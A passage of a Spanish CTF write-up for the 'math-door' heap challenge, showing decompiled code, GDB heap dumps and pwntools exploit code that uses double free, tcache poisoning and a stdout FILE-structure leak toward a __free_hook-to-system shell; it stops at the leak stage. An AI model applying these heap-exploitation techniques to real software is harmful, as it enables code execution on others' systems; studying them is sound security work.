Math Door

20 minutos de lectura

Se nos proporciona un binario de 64 bits llamado math-door:

Arch:     amd64-64-little  
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'.'

Configuración del entorno

También se nos proporciona la librería y el cargador de Glibc remotos:

$ ./ld.so ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.  
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

$ ldd math-door
        linux-vdso.so.1 (0x00007ffed83e6000)
        libc.so.6 => ./libc.so.6 (0x00007f39ce44c000)
        ld.so => /lib64/ld-linux-x86-64.so.2 (0x00007f39ce647000)

El binario ya está preparado para usar la librería y el cargador remotos, por lo que no queda nada más por hacer.

Ingeniería inversa

Podemos usar Ghidra para analizar el binario y mirar el código descompilado en C:

void main() {
  int option;

  setup();
  puts(
      "You are facing the mathy door!\nThe door is blocked by a mysterious riddle that hasn\'t been  solved since the ancient times...\nIt\'s said that it\'s beyond human comprehension. That only  alien beings can understand such advanced concepts.\nCan you math your way through?"  
      );

  do {
    while (true) {
      while (true) {
        puts("1. Create \n2. Delete \n3. Add value \nAction: ");
        option = read_int();
        if (option != 3) break;
        math();
      }

      if (option < 4) break;
LAB_00101605:
      puts("Invalid action!");
    }

    if (option == 1) {
      create();
    } else {
      if (option != 2) goto LAB_00101605;
      delete();
    }
  } while (true);
}

Básicamente, tenemos tres opciones. Parece un reto de explotación del heap.

Función de asignación

Esta es create:

void create() {
  void *p_chunk;
  uint c;
  
  c = counter;

  if ((int) counter < 65) {
    p_chunk = malloc(0x18);
    *(void **) (chunks + (long) (int) c * 8) = p_chunk;
    printf("Hieroglyph created with index %i.\n", (ulong) counter);  
    counter = counter + 1;
  } else {
    puts("Max amount of hieroglyphs reached.");
  }
}

Esta nos permite crear un chunk con el tamaño 0x21 (hard-coded). El contador aumenta, por lo que solo podemos tener hasta 65 chunks. No podemos ingresar más información aquí.

Función de liberación

Esta es delete:

void delete() {
  uint index;

  puts("Hieroglyph index:");
  index = read_int();

  if (index < counter) {
    free(*(void **) (chunks + (ulong) index * 8));  
  } else {
    puts("That hieroglyph doens\'t exist.");
  }
}

En esta función podemos llamar a free en cualquier índice, sin importar si ya está liberado. Entonces, aquí podemos lograr una vulnerabilidad de double free, lo que podría ser útil más adelante. Obsérvese también que la variable counter no disminuye.

Función de edición

Finalmente, tenemos math:

void math() {
  uint index;
  long in_FS_OFFSET;
  long x;
  long y;
  long z;
  long canary;
  
  canary = *(long *) (in_FS_OFFSET + 0x28);
  x = 0;
  y = 0;
  z = 0;

  puts("Hieroglyph index:");
  index = read_int();

  if (counter < index) {
    puts("That hieroglyph doens\'t exist.");
  } else {
    puts("Value to add to hieroglyph:");
    read(0, &x, 0x18);

    **(long **) (chunks + (ulong) index * 8) = x + **(long **) (chunks + (ulong) index * 8);
    *(long *) (*(long *) (chunks + (ulong) index * 8) + 8) = y + *(long *) (*(long *) (chunks + (ulong) index * 8) + 8);
    *(long *) (*(long *) (chunks + (ulong) index * 8) + 0x10) = z + *(long *) (*(long *) (chunks + (ulong) index * 8) + 0x10);  
  }

  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
}

Aquí tenemos la oportunidad de agregar tres números de 8 bytes a los números que se encuentran actualmente en el área de datos del chunk seleccionado. Podemos usar GDB para confirmar que esto es cierto:

$ gdb -q math-door
Reading symbols from math-door...
(No debugging symbols found in math-door)
pwndbg> run
Starting program: /tmp/math-door
You are facing the mathy door!
The door is blocked by a mysterious riddle that hasn't been solved since the ancient times...
It's said that it's beyond human comprehension. That only alien beings can understand such advanced concepts.
Can you math your way through?
1. Create
2. Delete
3. Add value
Action:
1
Hieroglyph created with index 0.
1. Create
2. Delete
3. Add value
Action:
3
Hieroglyph index:
0
Value to add to hieroglyph:
255
1. Create
2. Delete
3. Add value
Action:
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee2fd2 in __GI___libc_read (fd=0, buf=0x7fffffffe700, nbytes=31) at ../sysdeps/unix/sysv/linux/read.c:26  
26      ../sysdeps/unix/sysv/linux/read.c: No such file or directory.

pwndbg> vis_heap_chunks

0x55555555b000  0x0000000000000000      0x0000000000000291      ................
0x55555555b010  0x0000000000000000      0x0000000000000000      ................
0x55555555b020  0x0000000000000000      0x0000000000000000      ................
0x55555555b030  0x0000000000000000      0x0000000000000000      ................
0x55555555b040  0x0000000000000000      0x0000000000000000      ................
0x55555555b050  0x0000000000000000      0x0000000000000000      ................
0x55555555b060  0x0000000000000000      0x0000000000000000      ................
0x55555555b070  0x0000000000000000      0x0000000000000000      ................
0x55555555b080  0x0000000000000000      0x0000000000000000      ................
0x55555555b090  0x0000000000000000      0x0000000000000000      ................
0x55555555b0a0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0b0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0c0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0d0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0e0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0f0  0x0000000000000000      0x0000000000000000      ................
0x55555555b100  0x0000000000000000      0x0000000000000000      ................
0x55555555b110  0x0000000000000000      0x0000000000000000      ................
0x55555555b120  0x0000000000000000      0x0000000000000000      ................
0x55555555b130  0x0000000000000000      0x0000000000000000      ................
0x55555555b140  0x0000000000000000      0x0000000000000000      ................
0x55555555b150  0x0000000000000000      0x0000000000000000      ................
0x55555555b160  0x0000000000000000      0x0000000000000000      ................
0x55555555b170  0x0000000000000000      0x0000000000000000      ................
0x55555555b180  0x0000000000000000      0x0000000000000000      ................
0x55555555b190  0x0000000000000000      0x0000000000000000      ................
0x55555555b1a0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1b0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1c0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1d0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1e0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1f0  0x0000000000000000      0x0000000000000000      ................
0x55555555b200  0x0000000000000000      0x0000000000000000      ................
0x55555555b210  0x0000000000000000      0x0000000000000000      ................
0x55555555b220  0x0000000000000000      0x0000000000000000      ................
0x55555555b230  0x0000000000000000      0x0000000000000000      ................
0x55555555b240  0x0000000000000000      0x0000000000000000      ................
0x55555555b250  0x0000000000000000      0x0000000000000000      ................
0x55555555b260  0x0000000000000000      0x0000000000000000      ................
0x55555555b270  0x0000000000000000      0x0000000000000000      ................
0x55555555b280  0x0000000000000000      0x0000000000000000      ................
0x55555555b290  0x0000000000000000      0x0000000000000021      ........!.......
0x55555555b2a0  0x000000000a353532      0x0000000000000000      255.............
0x55555555b2b0  0x0000000000000000      0x0000000000020d51      ........Q.......         <-- Top chunk

Nótese que 0x0a353532 es "255\n" en formato little-endian como número hexadecimal. Si agregamos los mismos datos, el chunk almacenará el resultado de la suma:

pwndbg> continue
Continuing.
3
Hieroglyph index:
0
Value to add to hieroglyph:
255
1. Create
2. Delete
3. Add value
Action:
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee2fd2 in __GI___libc_read (fd=0, buf=0x7fffffffe700, nbytes=31) at ../sysdeps/unix/sysv/linux/read.c:26  
26      in ../sysdeps/unix/sysv/linux/read.c

pwndbg> vis_heap_chunks

0x55555555b000  0x0000000000000000      0x0000000000000291      ................
0x55555555b010  0x0000000000000000      0x0000000000000000      ................
0x55555555b020  0x0000000000000000      0x0000000000000000      ................
0x55555555b030  0x0000000000000000      0x0000000000000000      ................
0x55555555b040  0x0000000000000000      0x0000000000000000      ................
0x55555555b050  0x0000000000000000      0x0000000000000000      ................
0x55555555b060  0x0000000000000000      0x0000000000000000      ................
0x55555555b070  0x0000000000000000      0x0000000000000000      ................
0x55555555b080  0x0000000000000000      0x0000000000000000      ................
0x55555555b090  0x0000000000000000      0x0000000000000000      ................
0x55555555b0a0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0b0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0c0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0d0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0e0  0x0000000000000000      0x0000000000000000      ................
0x55555555b0f0  0x0000000000000000      0x0000000000000000      ................
0x55555555b100  0x0000000000000000      0x0000000000000000      ................
0x55555555b110  0x0000000000000000      0x0000000000000000      ................
0x55555555b120  0x0000000000000000      0x0000000000000000      ................
0x55555555b130  0x0000000000000000      0x0000000000000000      ................
0x55555555b140  0x0000000000000000      0x0000000000000000      ................
0x55555555b150  0x0000000000000000      0x0000000000000000      ................
0x55555555b160  0x0000000000000000      0x0000000000000000      ................
0x55555555b170  0x0000000000000000      0x0000000000000000      ................
0x55555555b180  0x0000000000000000      0x0000000000000000      ................
0x55555555b190  0x0000000000000000      0x0000000000000000      ................
0x55555555b1a0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1b0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1c0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1d0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1e0  0x0000000000000000      0x0000000000000000      ................
0x55555555b1f0  0x0000000000000000      0x0000000000000000      ................
0x55555555b200  0x0000000000000000      0x0000000000000000      ................
0x55555555b210  0x0000000000000000      0x0000000000000000      ................
0x55555555b220  0x0000000000000000      0x0000000000000000      ................
0x55555555b230  0x0000000000000000      0x0000000000000000      ................
0x55555555b240  0x0000000000000000      0x0000000000000000      ................
0x55555555b250  0x0000000000000000      0x0000000000000000      ................
0x55555555b260  0x0000000000000000      0x0000000000000000      ................
0x55555555b270  0x0000000000000000      0x0000000000000000      ................
0x55555555b280  0x0000000000000000      0x0000000000000000      ................
0x55555555b290  0x0000000000000000      0x0000000000000021      ........!.......
0x55555555b2a0  0x00000000146a6a64      0x0000000000000000      djj.............
0x55555555b2b0  0x0000000000000000      0x0000000000020d51      ........Q.......         <-- Top chunk  
pwndbg> p/x 0x0a353532 + 0x0a353532
$1 = 0x146a6a64

No hay más funciones útiles en el binario…

Estrategia de explotación

El principal problema con este programa es que no hay formas simples de filtrar direcciones de memoria. Además, el programa solo nos permite asignar chunks de tamaño 0x21.

Las únicas primitivas que tenemos son:

Double free potencial en delete
Write After Free en math

Estamos usando Glibc 2.31 con Tcache. Por lo tanto, una buena opción es usar Tcache poisoning para lograr una primitiva de escritura arbitraria. Para que este ataque funcione, necesitamos liberar un chunk, modificar el puntero fd a la ubicación de destino y asignar chunks hasta que tengamos uno en la dirección de destino.

En retos de heap, es muy común usar un chunk del Unsorted Bin para filtrar una dirección de Glibc (de hecho, un offset de main_arena). Esta vez, solo podemos asignar chunks con tamaño 0x21. Sin embargo, podemos usar Tcache poisoning para modificar el tamaño de un chunk y luego liberarlo, de modo que el asignador de memoria piense que su tamaño es muy grande y no se ajuste a ninguna free-list del Tcache.

Recordemos que el programa permite agregar números a los que están en un cierto chunk. Por lo tanto, utilizaremos esta dirección de Glibc para señalar otras direcciones dentro de Glibc usando offsets.

Posiblemente haya una manera de explotar el binario usando solo offsets, pero no la encontré. Mi exploit necesitaba conocer una dirección Glibc para encontrar la dirección base y hacer que __free_hook apunte a system para ejecutar system("/bin/sh") como paso final. Para filtrar las direcciones de memoria dentro de Glibc, tuve que jugar con la estructura FILE de stdout (_IO_2_1_stdout_). Esta técnica se conoce como ataque de estructura FILE, más información en estos enlaces:

Desarrollo del exploit

En primer lugar, usaré estas funciones auxiliares:

def create(p):
    p.sendlineafter(b'Action: \n', b'1')


def delete(p, index: int):
    p.sendlineafter(b'Action: \n', b'2')
    p.sendlineafter(b'Hieroglyph index:\n', str(index).encode())  


def add_value(p, index: int, x: int, y: int, z: int):
    value = p64(x) + p64(y) + p64(z)

    p.sendlineafter(b'Action: \n', b'3')
    p.sendlineafter(b'Hieroglyph index:\n', str(index).encode())
    p.sendafter(b'Value to add to hieroglyph:\n', value)

Ahora, empezamos por crear algunos chunks y liberarlos para ver cómo podemos usar Tcache poisoning para crear un chunk falso:

def main():
    p = get_process()
    gdb.attach(p, 'continue')  

    M = 5

    for _ in range(M):
        create(p)

    for i in range(M):
        delete(p, i)

    p.interactive()

Echemos un vistazo a GDB:

$ python3 solve.py
[*] './math-door'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[+] Starting local process './math-door': pid 323994
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '323994', '-x', '/tmp/pwn5a9d62_q.gdb']  
[+] Waiting for debugger: Done
[*] Switching to interactive mode
Hieroglyph created with index 4.
1. Create
2. Delete
3. Add value
Action:
$

pwndbg> vis_heap_chunks

0x561a5b60c000  0x0000000000000000      0x0000000000000291      ................
0x561a5b60c010  0x0000000000000005      0x0000000000000000      ................
0x561a5b60c020  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c030  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c040  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c050  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c060  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c070  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c080  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c090  0x0000561a5b60c320      0x0000000000000000       .`[.V..........
0x561a5b60c0a0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c0b0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c0c0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c0d0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c0e0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c0f0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c100  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c110  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c120  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c130  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c140  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c150  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c160  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c170  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c180  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c190  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c1a0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c1b0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c1c0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c1d0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c1e0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c1f0  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c200  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c210  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c220  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c230  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c240  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c250  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c260  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c270  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c280  0x0000000000000000      0x0000000000000000      ................
0x561a5b60c290  0x0000000000000000      0x0000000000000021      ........!.......
0x561a5b60c2a0  0x0000000000000000      0x0000561a5b60c010      ..........`[.V..         <-- tcachebins[0x20][4/5]  
0x561a5b60c2b0  0x0000000000000000      0x0000000000000021      ........!.......
0x561a5b60c2c0  0x0000561a5b60c2a0      0x0000561a5b60c010      ..`[.V....`[.V..         <-- tcachebins[0x20][3/5]
0x561a5b60c2d0  0x0000000000000000      0x0000000000000021      ........!.......
0x561a5b60c2e0  0x0000561a5b60c2c0      0x0000561a5b60c010      ..`[.V....`[.V..         <-- tcachebins[0x20][2/5]
0x561a5b60c2f0  0x0000000000000000      0x0000000000000021      ........!.......
0x561a5b60c300  0x0000561a5b60c2e0      0x0000561a5b60c010      ..`[.V....`[.V..         <-- tcachebins[0x20][1/5]
0x561a5b60c310  0x0000000000000000      0x0000000000000021      ........!.......
0x561a5b60c320  0x0000561a5b60c300      0x0000561a5b60c010      ..`[.V....`[.V..         <-- tcachebins[0x20][0/5]
0x561a5b60c330  0x0000000000000000      0x0000000000020cd1      ................         <-- Top chunk
pwndbg> tcachebins
tcachebins
0x20 [  5]: 0x561a5b60c320 —▸ 0x561a5b60c300 —▸ 0x561a5b60c2e0 —▸ 0x561a5b60c2c0 —▸ 0x561a5b60c2a0 ◂— 0x0

El siguiente chunk que se asignará está en la dirección 0x561a5b60c320, porque la cabeza del Tcache (dentro de la sección azul grande) apunta allí. Este es un buen valor para controlar porque, si es así, podemos controlar dónde se colocará el próximo chunk asignado (veremos esto más tarde).

El ataque de Tcache poisoning funciona porque si modificamos la dirección en 0x561a5b60c320 (que es 0x561a5b60c300), la lista enlazada estará corrupta y la cabeza del Tcache apuntará a otra dirección. Es por eso que el Tcache poisoning otorga una primitiva de escritura. Además, el Tcache es una estructura muy explotable porque aplica pocas verificaciones y se pueden saltar fácilmente.

Heap feng shui

Modificaremos el puntero fd de un chunk para poder modificar el tamaño de otro chunk. Una vez asignado en la posición objetivo, estableceremos el nuevo tamaño en 0x421 de forma que ya no entra en el Tcache. Luego, al liberarlo, el asignador de memoria lo meterá en el Unsorted Bin y pondrá los punteros fd y bk en un offset de main_arena.

Después de un poco de depuración, tenemos este código:

def main():
    p = get_process()
    gdb.attach(p, 'continue')

    M = 38

    for _ in range(M):
        create(p)

    delete(p, 2)
    delete(p, 1)
    delete(p, 0)

    add_value(p, 0, 0x50, 0, 0)
    create(p)  # M
    create(p)  # M + 1
    add_value(p, 0, 0xffffffffffffffb0, 0, 0)  
    add_value(p, M + 1, 0, 0x421, 0)
    delete(p, 4)

    p.interactive()

Obsérvese cómo se deben ingresar los valores negativos usando el complemento a dos. Podemos definir una función simple en Python para calcular estos offsets negativos:

$ python3 -q
>>> def two_c(num: int) -> str:
...     return hex(((~abs(num)) + 1) & 0xffffffffffffffff)  
...
>>> two_c(-0x50)
'0xffffffffffffffb0'

De todos modos, este es el resultado:

$ python3 solve.py
[*] './math-door'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[+] Starting local process './math-door': pid 332255
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '332255', '-x', '/tmp/pwnqcf_s9c0.gdb']  
[+] Waiting for debugger: Done
[*] Switching to interactive mode
1. Create
2. Delete
3. Add value
Action:
$

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555f98d22000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555f98d22290
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555f98d222b0
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555f98d222d0
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555f98d222f0
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555f98d22310
Size: 0x421
fd: 0x7f24a2f00be0
bk: 0x7f24a2f00be0

Allocated chunk
Addr: 0x555f98d22730
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x555f98d22750
Size: 0x208b1

pwndbg> bins
tcachebins
0x20 [  1]: 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555f98d22310 —▸ 0x7f24a2f00be0 (main_arena+96) ◂— 0x555f98d22310  
smallbins
empty
largebins
empty

Muy bien, tenemos una dirección Glibc que podemos usar como referencia para asignar chunks en offsets relativas dentro de Glibc. Pero antes que nada, observemos que el Tcache está corrupto. El asignador de memoria cree que hay un chunk en el Tcache, pero la lista está vacía.

Ahora, el objetivo es controlar completamente el Tcache, por lo que tendremos como objetivo obtener un chunk ubicado en la cabeza de la free-list del Tcache de tamaño 0x21. Lo hice con estas líneas de código y algo de depuración:

    delete(p, 11)
    delete(p, 12)
    delete(p, 13)
    delete(p, 14)

    add_value(p, 14, 0xfffffffffffffc50, 0, 0)  
    create(p)  # M + 2
    create(p)  # M + 3

Ahora, en el índice M + 3 tengo un chunk cerca de la cabeza de la free-list del Tcache. Podemos confirmarlo usando GDB al ejecutar el exploit:

pwndbg> x/64gx &chunks
0x5559ccbf6060 <chunks>:        0x00005559ce00d2a0      0x00005559ce00d2c0  
0x5559ccbf6070 <chunks+16>:     0x00005559ce00d2e0      0x00005559ce00d300
0x5559ccbf6080 <chunks+32>:     0x00005559ce00d320      0x00005559ce00d340
0x5559ccbf6090 <chunks+48>:     0x00005559ce00d360      0x00005559ce00d380
0x5559ccbf60a0 <chunks+64>:     0x00005559ce00d3a0      0x00005559ce00d3c0
0x5559ccbf60b0 <chunks+80>:     0x00005559ce00d3e0      0x00005559ce00d400
0x5559ccbf60c0 <chunks+96>:     0x00005559ce00d420      0x00005559ce00d440
0x5559ccbf60d0 <chunks+112>:    0x00005559ce00d460      0x00005559ce00d480
0x5559ccbf60e0 <chunks+128>:    0x00005559ce00d4a0      0x00005559ce00d4c0
0x5559ccbf60f0 <chunks+144>:    0x00005559ce00d4e0      0x00005559ce00d500
0x5559ccbf6100 <chunks+160>:    0x00005559ce00d520      0x00005559ce00d540
0x5559ccbf6110 <chunks+176>:    0x00005559ce00d560      0x00005559ce00d580
0x5559ccbf6120 <chunks+192>:    0x00005559ce00d5a0      0x00005559ce00d5c0
0x5559ccbf6130 <chunks+208>:    0x00005559ce00d5e0      0x00005559ce00d600
0x5559ccbf6140 <chunks+224>:    0x00005559ce00d620      0x00005559ce00d640
0x5559ccbf6150 <chunks+240>:    0x00005559ce00d660      0x00005559ce00d680
0x5559ccbf6160 <chunks+256>:    0x00005559ce00d6a0      0x00005559ce00d6c0
0x5559ccbf6170 <chunks+272>:    0x00005559ce00d6e0      0x00005559ce00d700
0x5559ccbf6180 <chunks+288>:    0x00005559ce00d720      0x00005559ce00d740
0x5559ccbf6190 <chunks+304>:    0x00005559ce00d2a0      0x00005559ce00d310
0x5559ccbf61a0 <chunks+320>:    0x00005559ce00d460      0x00005559ce00d090
0x5559ccbf61b0 <chunks+336>:    0x0000000000000000      0x0000000000000000
0x5559ccbf61c0 <chunks+352>:    0x0000000000000000      0x0000000000000000
0x5559ccbf61d0 <chunks+368>:    0x0000000000000000      0x0000000000000000
0x5559ccbf61e0 <chunks+384>:    0x0000000000000000      0x0000000000000000
0x5559ccbf61f0 <chunks+400>:    0x0000000000000000      0x0000000000000000
0x5559ccbf6200 <chunks+416>:    0x0000000000000000      0x0000000000000000
0x5559ccbf6210 <chunks+432>:    0x0000000000000000      0x0000000000000000
0x5559ccbf6220 <chunks+448>:    0x0000000000000000      0x0000000000000000
0x5559ccbf6230 <chunks+464>:    0x0000000000000000      0x0000000000000000
0x5559ccbf6240 <chunks+480>:    0x0000000000000000      0x0000000000000000
0x5559ccbf6250 <chunks+496>:    0x0000000000000000      0x0000000000000000
pwndbg> x/4gx 0x00005559ce00d090
0x5559ce00d090: 0x00005559ce00d090      0x0000000000000000
0x5559ce00d0a0: 0x0000000000000000      0x0000000000000000
pwndbg> tcache
{
  counts = {3, 0 <repeats 63 times>},
  entries = {0x5559ce00d090, 0x0 <repeats 63 times>}
}
pwndbg> tcachebins
tcachebins
0x20 [  3]: 0x5559ce00d090 ◂— 0x5559ce00d090

Obviamente, en este punto, el asignador del heap está confundido porque la cabeza de la lista señala a sí misma. Pero ahora tenemos control total sobre los próximos chunks asignados.

A continuación, limpié el Tcache y el heap y configuré la cabeza del Tcache en el chunk que contenía punteros de Glibc (también volví a poner el tamaño a 0x21 por si acaso):

    add_value(p, M + 1, 0, 0xfffffffffffffc00, 0)  
    add_value(p, 13, 0xffffffffffffff00, 0, 0)
    add_value(p, M + 3, 0x290, 0, 0)

Entonces este es el estado del heap ahora mismo:

pwndbg> x/64gx &chunks
0x5613f4a4a060 <chunks>:        0x00005613f4fc02a0      0x00005613f4fc02c0
0x5613f4a4a070 <chunks+16>:     0x00005613f4fc02e0      0x00005613f4fc0300
0x5613f4a4a080 <chunks+32>:     0x00005613f4fc0320      0x00005613f4fc0340
0x5613f4a4a090 <chunks+48>:     0x00005613f4fc0360      0x00005613f4fc0380
0x5613f4a4a0a0 <chunks+64>:     0x00005613f4fc03a0      0x00005613f4fc03c0
0x5613f4a4a0b0 <chunks+80>:     0x00005613f4fc03e0      0x00005613f4fc0400
0x5613f4a4a0c0 <chunks+96>:     0x00005613f4fc0420      0x00005613f4fc0440
0x5613f4a4a0d0 <chunks+112>:    0x00005613f4fc0460      0x00005613f4fc0480
0x5613f4a4a0e0 <chunks+128>:    0x00005613f4fc04a0      0x00005613f4fc04c0
0x5613f4a4a0f0 <chunks+144>:    0x00005613f4fc04e0      0x00005613f4fc0500
0x5613f4a4a100 <chunks+160>:    0x00005613f4fc0520      0x00005613f4fc0540
0x5613f4a4a110 <chunks+176>:    0x00005613f4fc0560      0x00005613f4fc0580
0x5613f4a4a120 <chunks+192>:    0x00005613f4fc05a0      0x00005613f4fc05c0
0x5613f4a4a130 <chunks+208>:    0x00005613f4fc05e0      0x00005613f4fc0600
0x5613f4a4a140 <chunks+224>:    0x00005613f4fc0620      0x00005613f4fc0640
0x5613f4a4a150 <chunks+240>:    0x00005613f4fc0660      0x00005613f4fc0680
0x5613f4a4a160 <chunks+256>:    0x00005613f4fc06a0      0x00005613f4fc06c0
0x5613f4a4a170 <chunks+272>:    0x00005613f4fc06e0      0x00005613f4fc0700
0x5613f4a4a180 <chunks+288>:    0x00005613f4fc0720      0x00005613f4fc0740
0x5613f4a4a190 <chunks+304>:    0x00005613f4fc02a0      0x00005613f4fc0310
0x5613f4a4a1a0 <chunks+320>:    0x00005613f4fc0460      0x00005613f4fc0090
0x5613f4a4a1b0 <chunks+336>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a1c0 <chunks+352>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a1d0 <chunks+368>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a1e0 <chunks+384>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a1f0 <chunks+400>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a200 <chunks+416>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a210 <chunks+432>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a220 <chunks+448>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a230 <chunks+464>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a240 <chunks+480>:    0x0000000000000000      0x0000000000000000
0x5613f4a4a250 <chunks+496>:    0x0000000000000000      0x0000000000000000
pwndbg> x/4gx 0x00005613f4fc0090
0x5613f4fc0090: 0x00005613f4fc0320      0x0000000000000000
0x5613f4fc00a0: 0x0000000000000000      0x0000000000000000
pwndbg> x/4gx 0x00005613f4fc0320
0x5613f4fc0320: 0x00007f5860e7fbe0      0x00007f5860e7fbe0
0x5613f4fc0330: 0x0000000000000000      0x0000000000000000
pwndbg> tcachebins
tcachebins
0x20 [  3]: 0x5613f4fc0320 —▸ 0x7f5860e7fbe0 (main_arena+96) —▸ 0x5613f4fc0750 ◂— 0x0

Fugando direcciones de memoria

Una vez que tenemos el control del heap, necesitamos jugar con el stdout para fugar direcciones de memoria. Después de mucha investigación, prueba y error, descubrí que solo modificando write_ptr se podía conseguir esto, porque imprimirá algunos valores antes de la estructura.

La estructura stdout (_IO_2_1_stdout_) tiene esta pinta:

pwndbg> p/x _IO_2_1_stdout_
$1 = {
  file = {
    _flags = 0xfbad2887,
    _IO_read_ptr = 0x7f5860e80723,
    _IO_read_end = 0x7f5860e80723,
    _IO_read_base = 0x7f5860e80723,
    _IO_write_base = 0x7f5860e80723,
    _IO_write_ptr = 0x7f5860e80723,
    _IO_write_end = 0x7f5860e80723,
    _IO_buf_base = 0x7f5860e80723,
    _IO_buf_end = 0x7f5860e80724,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7f5860e7f980,
    _fileno = 0x1,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = {0xa},
    _lock = 0x7f5860e817e0,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7f5860e7f880,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0xffffffff,
    _unused2 = {0x0 <repeats 20 times>}
  },
  vtable = 0x7f5860e7c4a0
}
pwndbg> x/28gx &_IO_2_1_stdout_
0x7f5860e806a0 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007f5860e80723  
0x7f5860e806b0 <_IO_2_1_stdout_+16>:    0x00007f5860e80723      0x00007f5860e80723
0x7f5860e806c0 <_IO_2_1_stdout_+32>:    0x00007f5860e80723      0x00007f5860e80723
0x7f5860e806d0 <_IO_2_1_stdout_+48>:    0x00007f5860e80723      0x00007f5860e80723
0x7f5860e806e0 <_IO_2_1_stdout_+64>:    0x00007f5860e80724      0x0000000000000000
